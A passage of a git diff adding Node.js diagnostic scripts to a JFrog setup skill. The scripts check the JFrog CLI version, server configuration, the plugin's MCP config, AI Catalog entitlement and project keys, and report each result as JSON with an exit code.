+ } + if (!commandExists("npx")) { + emit({ check: "node", status: "red", detail: "npx not on PATH — Node.js install is broken." }); + return 1; + } + emit({ check: "node", status: "green", detail: `Node.js v${process.versions.node}` }); + return 0; +} + +let overall = 0; + +if (checkNode() !== 0) overall = 1; +if (overall === 0 && detectJfCli() !== 0) overall = 1; +if (overall === 0 && detectJfConfig() !== 0) overall = 1; +if (overall === 0 && (await detectServerPing(SERVER_ID)) !== 0) overall = 1; + +// Captured here, before Steps 5-7 can flip `overall` for their own +// blocking sub-cases (ambiguous server-id, no project input, jf missing — +// see each step's comment below) — the state-file write further down +// keys off THIS flag, not the final `overall`, per batch-walk.md: the +// write happens whenever Steps 1-4 are green, regardless of the +// mcpConfigured/projectResolved/catalogEntitled gaps Steps 5-7 report. +const steps1To4Passed = overall === 0; + +let mcpConfigured = true; +if (overall === 0) { + const mcpCode = detectJfrogMcp(SERVER_ID); + if (mcpCode === 2) { + // Ambiguous server-id — not a Step 5 failure, a prerequisite every + // later step also needs; nothing to skip ahead to. + overall = 1; + } else if (mcpCode !== 0) { + mcpConfigured = false; + } +} + +let projectResult = null; +// Defaults to false, not true — Step 6 not having run yet (or having +// errored/asked rather than resolved) must never be read as "resolved". +// A default of true here previously meant that if Step 6 hit exit 2 or 3 +// below, `projectResolved` stayed at its initial value instead of being +// set false, so the write section further down (before this fix, gated +// on the same `overall === 0` this block also guards) could fall back to +// PROJECT_KEY — the caller's raw, unvalidated input — for a project Step +// 6 never actually validated. +let projectResolved = false; +if (overall === 0) { + projectResult = await detectProject(SERVER_ID, PROJECT_KEY); + if (projectResult.exitCode === 2 || projectResult.exitCode === 3) { + // Exit 2 (ask): no input passed, or the server-id itself is + // ambiguous — nothing to report a gap about yet, the caller just + // needs to provide one. Exit 3 (error): jf missing, credentials + // rejected, or an unexpected response shape — a genuine failure, NOT + // subject to the retry cap (see SKILL.md Step 6 / flow-diagram.md's + // STOPCREDS), so it must block same as any other real error, not + // silently collapse into "no project resolved yet". + overall = 1; + } else if (projectResult.exitCode === 0) { + projectResolved = true; + } + // Exit 1 (red: ambiguous match, 404, 403) is the retryable, non-blocking + // gap — projectResolved stays false, same as the initial default. +} + +let catalogEntitled = true; +let catalogReason; +if (overall === 0) { + const catalogCode = await detectCatalogRuntime(SERVER_ID); + if (catalogCode === 4) { + // Reachable but not entitled — a permissions gap for the user's + // admin to fix, not a broken setup; doesn't block the walk. + catalogEntitled = false; + catalogReason = "not_entitled"; + } else if (catalogCode === 1) { + // Not hosted at this JPD / unreachable / 5xx — same non-blocking + // treatment as "not entitled": Steps 1-4 are this skill's core + // prerequisites, and the AI Catalog being absent or unreachable says + // nothing about whether those actually work. Distinguished from + // "not_entitled" via `catalogReason` so the caller can phrase the + // final summary accurately instead of always saying "not entitled". + catalogEntitled = false; + catalogReason = "unreachable"; + } else if (catalogCode !== 0) { + // Exit 2 (ask: ambiguous server-id) and exit 3 (error: jf missing, + // credentials rejected, unexpected response shape) are genuine + // stops, not subject to this non-blocking treatment. + overall = 1; + } +} + +// Gated on steps1To4Passed, not the final `overall` — a Step 5/6/7 +// blocking sub-case (ambiguous server-id, no project input, jf missing) +// can flip `overall` to 1 without undoing the fact that Steps 1-4 already +// passed, and the server + JPD URL are worth remembering on their own +// regardless (see batch-walk.md and SKILL.md's Final Summary section). +if (steps1To4Passed) { + if (jfAvailable()) { + const configList = jfConfigShow(); + const resolvedServerId = resolveJfServer(SERVER_ID, configList); + const resolvedJpdUrl = normalizeJpdUrl(urlForServer(configList, resolvedServerId)); + + // Only pass a project key that was actually validated to the state + // file — PROJECT_KEY itself can be non-empty (the caller's raw, + // unvalidated input) even when projectResolved is false; passing "" + // in that case tells jfrog-state-file.mjs to leave any previously + // recorded project alone rather than overwrite it with an unverified + // value. + let resolvedProjectKey = ""; + if (projectResolved) { + resolvedProjectKey = projectResult?.resolvedKey || PROJECT_KEY; + } + + if (resolvedServerId && resolvedJpdUrl) { + // Best-effort: the state file is a "reuse last project?" hint, not a + // source of truth (see jfrog-state-file.mjs) — a write failure here + // doesn't undo the fact that Steps 1-4 above passed, so it's + // surfaced as a warning rather than flipping the summary to red. + // Written even when resolvedProjectKey is "" (project not resolved + // this walk) — jfrog-state-file.mjs then keeps whatever project was + // already on record instead of erasing it, and callers can always + // tell a project is missing here from `projectResolved` above. + const stateResult = setStateForServer(resolvedServerId, resolvedJpdUrl, resolvedProjectKey); + if (!stateResult.ok) { + console.error(`warning: failed to save setup state (${stateResult.error}) — next walk won't offer to reuse this project`); + } + } + } +} + +if (overall === 0) { + console.log( + JSON.stringify({ + summary: "green", + catalogEntitled, + ...(catalogReason ? { catalogReason } : {}), + mcpConfigured, + projectResolved, + }) + ); +} else { + console.log(JSON.stringify({ summary: "red" })); +} + +// Sets process.exitCode rather than calling process.exit() — same reason +// every detector this file imports does: a forced exit can truncate the +// summary line's stdout write if it's still draining through a pipe, and +// this line is the one thing a caller of this script actually reads. +process.exitCode = overall; diff --git a/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs b/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs new file mode 100755 index 0000000..066124d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs @@ -0,0 +1,180 @@ +#!/usr/bin/env node +// AI Catalog readiness check for the current user + JPD, against +// /ml/core/api/v1/mcp-registry/ml-projects?pageSize=1 — this skill +// does NOT read a separate JFROG_PLATFORM_URL / JFROG_URL env var; the +// source of truth is what `jf` itself is configured with. +// +// Two sub-checks, both must pass (mirrors jfrog-detect-server-ping.mjs's +// reachability/credentials split): +// Part A — anonymous: proves the endpoint is deployed at this JPD at +// all, independent of this user's entitlement. 2xx/401/403/405/406 = +// up; 404 / connection failure = red, and Part B is skipped. +// Part B — authenticated, with the bearer token (or user+password) +// extracted from `jf config export` — same credential source `jf` +// itself uses. The token exists in memory for the duration of one +// fetch call and is never echoed, logged, or written to disk. NO +// env-var fallback. 2xx = user is entitled to read the AI Catalog. +// +// Splitting reachability from entitlement produces two distinct outcomes: +// Part A red = "this JPD doesn't host AI Catalog" (blocking); Part B +// 401/403 = "catalog is up but your user isn't entitled" (non-blocking — +// see status "not_entitled" / exit 4 below). +// +// Idempotent, read-only, zero mutation. Emits one JSON line. +// +// Usage: node jfrog-detect-catalog-runtime.mjs [server-id] +// +// Exit 0 -> green (catalog deployed AND user entitled) +// Exit 1 -> red (no jf servers configured, no credentials, JPD +// doesn't host AI Catalog, unreachable, or a 5xx — +// mirrors jfrog-detect-server-ping.mjs's treatment +// of the same "backend is erroring" code class). +// This script itself still reports it as "red" — +// but jfrog-detect-all.mjs, the one caller that +// orchestrates the full walk, treats this exit +// code as NON-BLOCKING same as exit 4 below (see +// that file's header comment and +// references/catalog-runtime-branches.md): +// Steps 1-4 don't depend on the AI Catalog +// existing at all. +// Exit 2 -> ask (multiple servers configured, none resolvable — +// caller must prompt the user and re-invoke with +// the picked server-id) +// Exit 3 -> error (jf missing, credentials rejected with a 401, or a +// non-5xx unexpected HTTP code) +// Exit 4 -> not_entitled (catalog reachable, but the user isn't entitled +// — NON-BLOCKING: the rest of the setup is +// unaffected; this is a permissions gap for the +// user's admin to fix, not a broken setup) + +import { emit, isMainModule, resolveCreds, urlForServer, normalizeJpdUrl, authedFetch, anonymousFetchStatus, NETWORK_UNREACHABLE_HINT } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; + +const CATALOG_PATH = "/ml/core/api/v1/mcp-registry/ml-projects?pageSize=1"; + +// Shared by both Part A (anonymous) and Part B (authenticated) below — each +// probe can independently come back "000" (connection failed) or "404" +// (this JPD doesn't host the AI Catalog), and both cases must report the +// exact same wording regardless of which probe hit it. +function emitUnreachable(endpoint) { + emit({ check: "catalog", status: "red", detail: `catalog unreachable at ${endpoint}: connection failed${NETWORK_UNREACHABLE_HINT}` }); + return 1; +} +function emitNotHosted(endpoint) { + emit({ check: "catalog", status: "red", detail: `catalog endpoint returned 404 at ${endpoint} — this JPD may not host the AI Catalog` }); + return 1; +} +// A 5xx means the backend itself is erroring, same as a connection failure +// from the caller's perspective — treat it as "red", not "error", so it +// matches jfrog-detect-server-ping.mjs's classification of the same code +// class rather than being misreported as a config/environment problem. +function emitServerError(endpoint, httpCode) { + emit({ check: "catalog", status: "red", detail: `catalog probe returned HTTP ${httpCode} (server error) at ${endpoint}` }); + return 1; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// Every branch below emits exactly once and returns the exit code rather +// than calling process.exit() — a forced exit can truncate the JSON line +// (e.g. the "ask" payload's candidates list) if stdout is still draining +// through a pipe. +export async function detectCatalogRuntime(serverIdArg) { + const resolved = resolveServerOrEmit("catalog", serverIdArg, { status: "error", exitCode: 3 }); + if (resolved.exitCode !== null) { + return resolved.exitCode; + } + const { serverId, configList } = resolved; + + const url = normalizeJpdUrl(urlForServer(configList, serverId)); + if (!url) { + emit({ check: "catalog", status: "red", detail: `no url found in jf config for server-id=${serverId}` }); + return 1; + } + const endpoint = `${url}${CATALOG_PATH}`; + + // ---------- Part A: anonymous reachability ---------- + const anonCode = await anonymousFetchStatus(endpoint); + + if (anonCode === "000") { + return emitUnreachable(endpoint); + } + if (anonCode === "404") { + return emitNotHosted(endpoint); + } + if (/^5/.test(anonCode)) { + return emitServerError(endpoint, anonCode); + } + if (!/^2/.test(anonCode) && !/^3/.test(anonCode) && !["401", "403", "405", "406"].includes(anonCode)) { + emit({ check: "catalog", status: "error", detail: `catalog probe returned unexpected HTTP ${anonCode} at ${endpoint}` }); + return 3; + } + + // ---------- Part B: authenticated entitlement (token from `jf config`) ---------- + const creds = resolveCreds(serverId); + + if (!creds) { + emit({ + check: "catalog", + status: "red", + detail: "cannot authenticate to AI Catalog: no access token or user+password found in jf config. Re-run `jf config add --interactive`.", + }); + return 1; + } + + const { code, body } = await authedFetch(creds, CATALOG_PATH); + const httpCode = code === 0 ? "000" : String(code); + + // A 2xx status alone isn't proof this is really the AI Catalog endpoint — + // a captive portal or misrouted network can also answer 200. Require the + // expected shape (an object with a `projectKeys` array) too. + const looksLikeCatalog = body && typeof body === "object" && Array.isArray(body.projectKeys); + + if (httpCode.startsWith("2") && looksLikeCatalog) { + emit({ check: "catalog", status: "green", detail: `catalog reachable, user entitled (HTTP ${httpCode})` }); + return 0; + } + if (httpCode.startsWith("2") && !looksLikeCatalog) { + emit({ check: "catalog", status: "error", detail: `got HTTP ${httpCode} from ${endpoint} but the response wasn't the expected AI Catalog shape — this may not be the JPD's real endpoint (captive portal / proxy?)` }); + return 3; + } + if (httpCode === "000") { + return emitUnreachable(endpoint); + } + if (httpCode === "401") { + // Unlike 403, a 401 means the credentials themselves were rejected — + // this says nothing about entitlement, so it must not be folded into + // the non-blocking "not_entitled" outcome below. + emit({ + check: "catalog", + status: "error", + detail: `cannot authenticate to AI Catalog: /access rejected the credentials in jf config (HTTP 401). Re-run \`jf config add --interactive\`.`, + }); + return 3; + } + if (httpCode === "403") { + emit({ + check: "catalog", + status: "not_entitled", + detail: `catalog reachable but your user is not entitled to read the AI Catalog (HTTP ${httpCode}). Contact your JFrog admin and ask them to grant read access to /ml/core/api/v1/mcp-registry (typically the "AI Catalog Read" / "Application Admin" role on this JPD). This does not block the rest of your JFrog setup.`, + }); + return 4; + } + if (httpCode === "404") { + return emitNotHosted(endpoint); + } + if (/^5/.test(httpCode)) { + return emitServerError(endpoint, httpCode); + } + + emit({ check: "catalog", status: "error", detail: `catalog probe returned unexpected HTTP ${httpCode} at ${endpoint}` }); + return 3; +} + +if (isMainModule(import.meta.url)) { + process.exitCode = await detectCatalogRuntime(process.argv[2]); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs b/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs new file mode 100755 index 0000000..7352bc5 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs @@ -0,0 +1,114 @@ +#!/usr/bin/env node +// Detects whether the JFrog CLI (`jf`) is on PATH. Node's own presence is +// checked one step earlier, inline in jfrog-detect-all.mjs (running that +// .mjs file already proves Node exists, so it only needs to check the +// version). Everything downstream of that gate can safely assume Node. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout, +// with `reason` set on every red result so callers can tell "missing" +// apart from "outdated" without string-sniffing `detail`. +// +// Exit 0 -> green (jf found on PATH and >= MIN_JF_VERSION) +// Exit 1 -> red (reason: "missing" — jf not found on PATH — or +// reason: "broken" — jf is on PATH but hung/failed to +// run — or reason: "outdated" — found, but below +// MIN_JF_VERSION) + +import { emit, isMainModule, runJf, seedJfAvailable } from "./lib/jf.mjs"; + +// Required by Agent Plugins Repositories (Step 7's AI Catalog calls) — +// see docs.jfrog.com/artifactory/docs/agent-plugins-repositories +// ("Configure the JFrog CLI"). +export const MIN_JF_VERSION = "2.106.0"; + +function parseVersionParts(str) { + const m = str.match(/(\d+)\.(\d+)\.(\d+)/); + return m ? [Number(m[1]), Number(m[2]), Number(m[3])] : null; +} + +// Plain X.Y.Z numeric comparison — jf CLI versions never carry a +// pre-release suffix on a stable release, so nothing fancier than this +// is needed. Unparseable input fails closed (treated as older, i.e. +// failing the minimum-version check) — a version string this script +// doesn't recognize is exactly the case where it must NOT silently wave +// an incompatible `jf` through as green. +// +// Exported so jfrog-install-jf-cli.mjs can reuse the exact same +// comparison to decide whether an already-present `jf` still needs +// updating — see that file's currentJfIsUpToDate(). +export function isOlderThan(version, minVersion) { + const a = parseVersionParts(version); + const b = parseVersionParts(minVersion); + if (!a || !b) return true; + for (let i = 0; i < 3; i++) { + if (a[i] !== b[i]) return a[i] < b[i]; + } + return false; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// One `jf --version` spawn does double duty as both the availability +// check and the version string for the detail field — calling +// jfAvailable() first and then running `--version` again to capture its +// output would spawn the same subprocess twice on every green-path run. +export function detectJfCli() { + try { + const version = runJf(["--version"]).trim().split("\n")[0] || "jf found on PATH"; + // Seed lib/jf.mjs's shared jfAvailable() cache with this same result — + // see seedJfAvailable()'s doc comment for why: it stops a later + // jfAvailable() call elsewhere in the same walk from spawning `jf` + // again and risking a self-contradictory answer. + seedJfAvailable(true); + if (isOlderThan(version, MIN_JF_VERSION)) { + emit({ + check: "jf-cli", + status: "red", + reason: "outdated", + // `currentVersion` holds just the raw `jf --version` string, with + // nothing else in it — jf-cli-update-prompt.md fills its + // user-facing placeholder from this field specifically + // because `detail` (below) also carries the minimum-version number, + // which that same prompt is required to never surface to the user. + currentVersion: version, + detail: `${version} — jfrog-init requires JFrog CLI >= ${MIN_JF_VERSION} (Agent Plugins Repositories requirement)`, + }); + return 1; + } + emit({ check: "jf-cli", status: "green", detail: version }); + return 0; + } catch (err) { + // `reason` distinguishes "not on PATH at all" from "on PATH but + // hung/corrupted" — the two route to different user-facing wording + // (see jf-cli-install-prompt.md): "missing" says jf isn't installed, + // which is simply false for a hung/corrupted binary that's sitting + // right there on PATH. + // execFileSync's thrown error does NOT set `.killed` on a timeout + // (that's a `ChildProcess` instance property, not part of the sync + // error shape) — the reliable signal is `.code === "ETIMEDOUT"`, + // which Node sets itself when the timeout fires and it kills the + // child. Verified directly: a stub that sleeps past the timeout + // throws `{ code: "ETIMEDOUT", signal: "SIGTERM", killed: undefined }`. + const timedOut = err && err.code === "ETIMEDOUT"; + const notFound = err && err.code === "ENOENT"; + const reason = notFound ? "missing" : "broken"; + const detail = notFound + ? "JFrog CLI (jf) is not installed." + : timedOut + ? "JFrog CLI (jf) is on PATH but did not respond in time (may be corrupted or hung) — reinstalling should fix this." + : `JFrog CLI (jf) is on PATH but failed to run (${(err && err.message) || "unknown error"}) — reinstalling should fix this.`; + emit({ check: "jf-cli", status: "red", reason, detail }); + return 1; + } +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfCli(); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs b/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs new file mode 100755 index 0000000..174032a --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs @@ -0,0 +1,37 @@ +#!/usr/bin/env node +// Detects whether the JFrog CLI has a configured server. Reads ONLY the +// masked `jf config show` output — never `jf config export` (which would +// emit an access token), so this script never sees or logs a token. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Exit 0 -> green (at least one server configured) +// Exit 1 -> red (jf missing, or no server configured) + +import { emit, isMainModule, jfAvailable, jfConfigShow, describeJfUnavailable } from "./lib/jf.mjs"; + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +export function detectJfConfig() { + if (!jfAvailable()) { + emit({ check: "jf-config", status: "red", detail: describeJfUnavailable() }); + return 1; + } + const servers = jfConfigShow(); + if (servers.length > 0) { + emit({ check: "jf-config", status: "green", detail: `${servers.length} server(s) configured` }); + return 0; + } + emit({ check: "jf-config", status: "red", detail: "no jf server configured" }); + return 1; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfConfig(); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs b/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs new file mode 100755 index 0000000..510457f --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs @@ -0,0 +1,147 @@ +#!/usr/bin/env node +// Verifies the JFrog PLUGIN'S OWN mcp.json (per harness) exists at its +// installed path AND contains an mcpServers.jfrog entry. This file is +// owned by the plugin — we NEVER write to it, with one exception: +// automatic placeholder substitution (see jfrog-substitute-mcp-placeholders.mjs). +// If it's missing, malformed, or lacks the jfrog entry, the correct fix +// is "reinstall or update the JFrog plugin". +// +// NO endpoint reachability probe — this is a pure "is the plugin +// configured?" check. The walk's other network checks already prove the +// JPD is reachable, and a dead endpoint surfaces immediately the first +// time the user invokes the MCP. +// +// Idempotent, read-only, zero mutation (aside from the placeholder fix). +// +// Usage: node jfrog-detect-jfrog-mcp.mjs [server-id] +// +// [server-id] is forwarded as-is to jfrog-substitute-mcp-placeholders.mjs +// so the placeholder fix reuses the same server the caller already +// resolved (e.g. in Step 4), instead of re-resolving from scratch. +// +// Exit 0 -> green (plugin entry present) +// Exit 1 -> red (plugin file missing/empty/not installed, or missing jfrog entry) +// Exit 2 -> ask (placeholder present but the jf server-id is ambiguous — +// caller must prompt from `candidates` and re-invoke) +// Exit 3 -> error (harness could not be detected, plugin mcp.json is invalid +// JSON, or the file could not be read) + +import { readFileSync, statSync } from "node:fs"; +import { emit as emitJf, hasMcpPlaceholder, isMainModule, jfrogMcpUrl } from "./lib/jf.mjs"; +import { resolveMcpConfig } from "./jfrog-resolve-mcp-config.mjs"; +import { substituteMcpPlaceholders } from "./jfrog-substitute-mcp-placeholders.mjs"; + +function emit(status, file, detail, extra = {}) { + emitJf({ check: "jfrog-mcp", status, file, detail, ...extra }); +} + +// Surfaces the substituter's own failure detail (ambiguous server w/ +// candidates, no url set in jf config, or a read/write error) instead of +// one hardcoded message, so the user is pointed at the actual cause +// instead of always being told to check the JPD URL even when the real +// issue is an ambiguous server-id. +function substituterFailureDetail(result) { + return Array.isArray(result.candidates) && result.candidates.length + ? `${result.detail} (candidates: ${result.candidates.join(", ")})` + : result.detail; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// Returns the exit code rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +export function detectJfrogMcp(serverIdArg) { + const SERVER_ID = serverIdArg || ""; + const resolved = resolveMcpConfig(); + if (!resolved.path) { + // code 2 = plugin file not installed on disk ("reinstall the plugin"); + // code 1 = harness could not be detected. + const status = resolved.code === 2 ? "red" : "error"; + emit(status, "", resolved.error.replace(/\s+/g, " ").replace(/"/g, "'")); + return resolved.code === 2 ? 1 : 3; + } + + const target = resolved.path; + + // A single guarded stat instead of existsSync()+statSync() — two + // separate calls leave a TOCTOU window where the file can vanish + // between them (plugin reinstall, concurrent placeholder-substitution + // rename) and throw an uncaught ENOENT that would crash the whole walk. + let size; + try { + size = statSync(target).size; + } catch { + size = 0; + } + if (size === 0) { + emit("red", target, "plugin mcp.json is missing or empty — reinstall or update the JFrog plugin"); + return 1; + } + + let raw; + try { + raw = readFileSync(target, "utf8"); + } catch (err) { + emit("error", target, `could not read ${target}: ${err.message}`); + return 3; + } + let parsed; + try { + parsed = JSON.parse(raw); + } catch { + emit("error", target, "plugin mcp.json is not valid JSON — reinstall or update the JFrog plugin"); + return 3; + } + + // Auto-substitute any `${JFROG_PLATFORM_URL}` / `${JFROG_URL}` placeholder + // with the real JPD URL from `jf config`. Left in place, the MCP would + // fail to load in the IDE/agent since the env var doesn't exist. + // Checked against mcpServers.jfrog.url specifically (not the raw file + // text) so a placeholder-shaped string elsewhere in the plugin's + // mcp.json — an unrelated MCP entry, say — can't trigger substitution + // for a jfrog.url that has none. + const preSubstitutionUrl = jfrogMcpUrl(parsed); + if (typeof preSubstitutionUrl === "string" && hasMcpPlaceholder(preSubstitutionUrl)) { + const result = substituteMcpPlaceholders(target, SERVER_ID); + if (result.exitCode === 2) { + // Ambiguous jf server-id — pass the structured candidates through + // instead of collapsing to red, so the caller can re-prompt the + // same way it would for any other ambiguous-server case. + emit("ask", target, result.detail, { unresolved: "server", candidates: result.candidates }); + return 2; + } + if (result.exitCode !== 0) { + // Preserve the substituter's own red/error distinction (exit 1 vs 3) + // instead of collapsing both into red — Step 5 in SKILL.md relies on + // that distinction to pick the right Final Summary wording. + const status = result.status === "error" ? "error" : "red"; + emit(status, target, `plugin mcp.json contains a JFROG_PLATFORM_URL placeholder and automatic substitution failed — ${substituterFailureDetail(result)}`); + return status === "error" ? 3 : 1; + } + try { + parsed = JSON.parse(readFileSync(target, "utf8")); + } catch (err) { + emit("error", target, `substitution succeeded but re-reading ${target} failed: ${err.message}`); + return 3; + } + } + + const url = jfrogMcpUrl(parsed); + const hasUrl = typeof url === "string" && url.trim() !== ""; + if (!hasUrl) { + emit("red", target, "plugin mcp.json has no valid mcpServers.jfrog entry (missing or empty url) — reinstall or update the JFrog plugin"); + return 1; + } + + emit("green", target, "plugin mcp.json present with mcpServers.jfrog entry"); + return 0; +} + +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfrogMcp(process.argv[2]); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-project.mjs b/skills/jfrog-init/scripts/jfrog-detect-project.mjs new file mode 100755 index 0000000..55469d9 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-project.mjs @@ -0,0 +1,232 @@ +#!/usr/bin/env node +// Resolves and validates the project key for the walk. The picked value is +// NEVER persisted (no env var, no shell profile) — the caller passes it as +// a positional argument on the re-invocation and threads it forward. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Why /access/... and not `jf rt curl`: `jf rt curl ` rewrites every +// path to `/artifactory/`, which 404s for non-Artifactory +// endpoints. The Projects endpoint (GetProjectsList — +// https://docs.jfrog.com/projects/reference/getprojectslist) lives under +// /access/, off the JPD root, so credentials are resolved via `jf config +// export` and a direct fetch is issued instead. +// +// Resolution — matches BOTH project_key and display_name (case- +// insensitive; see lib/projects.mjs for the exact tier order). Never +// guesses, never assumes "default", never invents a value. +// +// The enumeration call is cached per server for a few minutes (see +// lib/project-cache.mjs) — the caller re-invokes this script once per +// user attempt within a single walk, and matching is offline anyway, +// so only the first attempt actually hits the network. +// +// Usage: node jfrog-detect-project.mjs [server-id] [project-input] +// +// Every non-green result also carries `candidatesWithNames` (up to the +// full enumerated project list, `{key, displayName}`, sorted) whenever +// enumeration succeeded, so the caller can offer the first two as an +// interactive pick-one-or-type-your-own prompt instead of demanding the +// user type a key or name from memory. A confirmed-not-found input (404) +// additionally carries `similarProjects` — up to 2 "did you mean...?" +// suggestions (see lib/projects.mjs) — when the typed input looks like a +// near-miss of an existing project (e.g. "widgets20" when "widgets2" exists). +// +// Exit 0 -> green (project exists and is accessible; resolved canonical key in detail) +// Exit 1 -> red (project does not exist, no access, ambiguous match, or a +// 5xx from the existence probe — the backend is erroring +// — or the probe could not connect at all. The last two +// are indistinguishable from here, so they share a +// classification, the same way +// jfrog-detect-catalog-runtime.mjs treats its own "000".) +// Exit 2 -> ask (no input passed, or multiple jf servers configured with none +// resolvable — caller must prompt the user and re-invoke) +// Exit 3 -> error (jf missing, credentials unavailable/rejected, an +// unexpected non-5xx HTTP code, or a 2xx response that +// wasn't shaped like the real GetProject endpoint) + +import { emit, isMainModule, resolveCreds, authedFetch, NETWORK_UNREACHABLE_HINT } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; +import { resolveProject, projectsWithNames, findSimilarProjects, capCandidatesForDisplay } from "./lib/projects.mjs"; +import { readCachedProjectList, writeCachedProjectList } from "./lib/project-cache.mjs"; + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. Returns { exitCode, resolvedKey } — resolvedKey is set on the +// green path so the caller can read it directly instead of re-parsing +// the emitted JSON line. The CLI entry point below is a thin wrapper. +// +// Every branch below emits exactly once and returns the exit code rather +// than calling process.exit() — a forced exit can truncate the JSON line +// if stdout is still draining through a pipe. +export async function detectProject(serverIdArg, projectInputArg) { + const resolved = resolveServerOrEmit("project", serverIdArg, { status: "error", exitCode: 3 }); + if (resolved.exitCode !== null) { + return { exitCode: resolved.exitCode }; + } + const { serverId } = resolved; + const projectInput = projectInputArg || ""; + + const creds = resolveCreds(serverId); + if (!creds) { + emit({ + check: "project", + status: "error", + detail: "cannot authenticate to /access: no access token or user+password found in jf config. Re-run `jf config add --interactive`.", + }); + return { exitCode: 3 }; + } + + const rawGet = (path) => authedFetch(creds, path); + + // ---------- Fetch project list first (needed for every branch) ---------- + // Cached per server for a short TTL (lib/project-cache.mjs): the + // interactive picker re-invokes this script once per user attempt within + // the same walk, and re-enumerating on every typed guess is wasted + // network traffic — matching/similarity search below already runs + // offline against whatever list we have in memory. + let list; + const cachedBody = readCachedProjectList(serverId, creds); + if (cachedBody !== null) { + list = { code: 200, body: cachedBody }; + } else { + list = await rawGet("/access/api/v1/projects"); + if (list.code >= 200 && list.code < 300) writeCachedProjectList(serverId, creds, list.body); + } + const enumOk = list.code >= 200 && list.code < 300; + const candidatesWithNames = enumOk ? projectsWithNames(list.body) : []; + + // ---------- Resolve+validate branch: an input was passed ---------- + if (projectInput) { + let resolvedKey = projectInput; + if (enumOk) { + const resolved = resolveProject(candidatesWithNames, projectInput); + if (resolved?.tied) { + emit({ + check: "project", + status: "red", + detail: `input "${projectInput}" matches multiple projects; be more specific`, + candidates: resolved.tied, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + if (resolved?.key) resolvedKey = resolved.key; + // No match against the enumeration — could still be a valid key the + // enumeration missed (paging, ACL), so let the existence probe below + // be the ultimate arbiter. + } + + // Encode as a single path segment (not just URI-escape) so an input like + // "../projects" can't change which endpoint gets hit. + const projectPath = `/access/api/v1/projects/${encodeURIComponent(resolvedKey)}`; + const probe = await rawGet(projectPath); + // A 2xx status alone isn't proof this is really the GetProject response — + // a captive portal or misrouted network can also answer 200. Require the + // expected shape (an object carrying the project's own key) too, the + // same guard jfrog-detect-catalog-runtime.mjs applies to its endpoint. + const looksLikeProject = + probe.body && + typeof probe.body === "object" && + (typeof probe.body.project_key === "string" || typeof probe.body.projectKey === "string"); + if (probe.code >= 200 && probe.code < 300 && looksLikeProject) { + emit({ check: "project", status: "green", detail: `project ${resolvedKey} exists and is accessible (HTTP ${probe.code})`, resolvedKey }); + return { exitCode: 0, resolvedKey }; + } + if (probe.code >= 200 && probe.code < 300 && !looksLikeProject) { + emit({ + check: "project", + status: "error", + detail: `got HTTP ${probe.code} from ${creds.baseUrl}${projectPath} but the response wasn't the expected project shape — this may not be the JPD's real endpoint (captive portal / proxy?)`, + }); + return { exitCode: 3 }; + } + if (probe.code >= 500 && probe.code < 600) { + // A 5xx means the backend itself is erroring, same as a connection + // failure from the caller's perspective — treat it as "red", not + // "error", matching jfrog-detect-catalog-runtime.mjs and + // jfrog-detect-server-ping.mjs's classification of the same code class. + emit({ check: "project", status: "red", detail: `${creds.baseUrl}${projectPath} returned HTTP ${probe.code} — the backend is erroring` }); + return { exitCode: 1 }; + } + if (probe.code === 404) { + const similarProjects = enumOk ? 